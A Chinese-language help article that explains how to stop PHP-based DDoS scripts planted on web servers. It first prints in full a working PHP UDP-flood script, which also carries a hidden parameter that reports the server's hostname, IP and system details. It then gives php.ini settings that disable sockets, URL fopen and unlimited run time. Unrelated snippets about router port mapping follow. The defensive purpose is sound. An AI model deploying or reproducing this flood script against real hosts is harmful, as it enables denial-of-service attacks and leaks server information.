phpddos攻击的解决办法(服务器发外网发送大量数据包)

先看源码

 代码如下 复制代码

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER

['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }

for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }

$max_time = time()+$exec_time;

while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}

echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " .

round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/

$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

关键代码在于

 代码如下 复制代码
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力。
这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用。
如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛

既然是用fsockopen请求外部,那就不让他请求
php.ini里设置

 代码如下 复制代码
allow_url_fopen = Off

如果这样他还是能发包

 代码如下 复制代码
extension=php_sockets.dll
改成
;extension=php_sockets.dll

重启APACHE、IIS、NGINX
这样就可以防止PHP DDOS发包了

另外有网友说

让脚本不允许设置为不超时很简单,1,把set_time_limit函数禁用,2,启用PHP的安全模式(safe_mode=on)

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,

建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是

这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS。。。

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些。

时间: 2024-09-13 15:56:43

phpddos攻击的解决办法(服务器发外网发送大量数据包)的相关文章

联普TL-WR890N如何映射服务器到外网

  联普TL-WR890N映射服务器到外网步骤一.进入设置页面 例如某小型企业需要将网页服务器对外网开放.通过虚拟服务器功能实现该需求.用户网络参数如下: 服务器类型外部端口内部端口 WEB服务器808080 对外开放端口:Internet用户访问服务器使用的端口. 注意:以上参数仅供本文指导参考,请以实际为准. 登录路由器管理界面,点击 应用管理,进入应用中心,如下图 找到虚拟服务器,点击 进入,如下 联普TL-WR890N映射服务器到外网步骤二.添加映射条目 1.点击添加 点击添加. 2.添

有哪些方法可以实现pda通过web service服务器与外网数据库交互

问题描述 实在不知起个什么标题,大致是实现下面的功能:A为仓库内部数据库的服务器,同时也作为外网erp的一个客户端.B为仓库中的一个pda,通过webservice访问A中的数据库,当通过pda完成出入库操作后,如何自动的在后台实现通过A去完成外网ERP中的数据库去同步.这样让人感觉是通过pda直接与erp进行的数据同步. 解决方案 解决方案二:外网ERP是否有公布webservice或者API?A有没VPN可以连ERP服务器的网络?数据库结构是否相同,是否可以考虑直接使用数据库同步实现?解决方

用gridview的RowDeleting删除数据后为什么显示—“服务器已断开 且未发送任何数据”

问题描述 用gridview的RowDeleting删除数据后,数据库内的数据删除不成功.为什么显示页面找不到了,"服务器已断开且未发送任何数据"?代码如下:protectedvoidgvCommOper_RowDeleting(objectsender,GridViewDeleteEventArgse){stringstrConn=System.Configuration.ConfigurationSettings.AppSettings["ConnStr"].T

服务器-[nginx]外网无法访问nginx,各种办法试尽

问题描述 [nginx]外网无法访问nginx,各种办法试尽 内网中的其他电脑可以访问网页 路由已经设置端口映射 服务器上还有ftp,外网可以访问ftp,服务器上的防火墙规则全部消除了 自己随意开了一个端口做监听外网也可以访问 不管怎样都无法从外网访问80端口,这是为什么? 解决方案 问题已经解决,是因为运营商的屏蔽,其他端口都可以使用

[TL-WDR8600] 如何映射服务器到外网?

使用路由器后,Internet用户无法访问到局域网内的主机,因此不能访问内网搭建的Web.FTP.Mail等服务器.虚拟服务器功能可以将内网的服务器映射到Internet,从而实现对外开放. 本文指导TL-WDR8600的虚拟服务器功能应用和设置方法. 本文以某企业需要将WEB服务器映射到外网的需求为例,介绍具体的设置方法.该企业具体需求如下(实际配置时以实际参数为准): 服务器的IP地址:192.168.1.10 服务器端口:TCP 80 外网访问服务器的端口:TCP 8080 为了避免将服务

水星mercury[新界面] 如何映射服务器到外网?

一.应用介绍 使用路由器后,Internet用户无法访问到局域网内的主机,因此不能访问内网搭建的Web.FTP.Mail等服务器.虚拟服务器功能可以将内网的服务器映射到Internet,从而实现对外开放. 本文指导路由器虚拟服务器功能的应用和设置方法.   二.需求分析 本文以某企业需要将WEB服务器映射到外网的需求为例,介绍具体的设置方法.该企业具体需求如下(实际配置时以实际参数为准): 服务器的IP地址:192.168.1.10 服务器端口:TCP 80 外网访问服务器的端口:TCP 808

阿里云服务器经常外网浏览器访问出现ERR_CONNECTION_ABORTED无法访问

请问,我的阿里云服务器经常外网通过浏览器访问web无法访问,错误代码:ERR_CONNECTION_ABORTED,请高人帮忙解答一下什么原因,出现此种情况的时候ssh登录服务器正常,服务器可以ping 通 ,关闭过服务器防火墙也没有作用,查看域名解析显示正常. 补充:这种情况经常出现,半夜11-1点之前出现频率最高,平时白天也偶尔出现,一般出现之后2小时之后会自动变好.

解决webmin安装之后外网不能访问的问题

1.webmin 安装 [root@centos ~]# wget http://prdownloads.sourceforge.net/webadmin/webmin-1.580.tar.gz --2012-02-07 06:21:05--  http://prdownloads.sourceforge.net/webadmin/webmin-1.580.tar.gz正在解析主机 prdownloads.sourceforge.net... 216.34.181.59正在连接 prdownlo

内网服务器向外网服务器传输数据

问题描述 现在我有两个系统两个服务器,一个在放在在内网供局域网内访问,主要负责日常公司内部的操作.还有个放在外网,电信托管的.现在要将内网系统的一部分数据即时的向外网服务器发送,让外网的服务器能够及时的得到内网服务器所处理的数据.两个系统均是JAVA实现.小弟现在黔驴技穷,高各位大虾帮助.小弟感激不尽. 解决方案 解决方案二:数据量小用webservice数据量大的话写数据文件UDP上传解决方案三:引用1楼zn85600301的回复: 数据量小用webservice数据量大的话写数据文件UDP上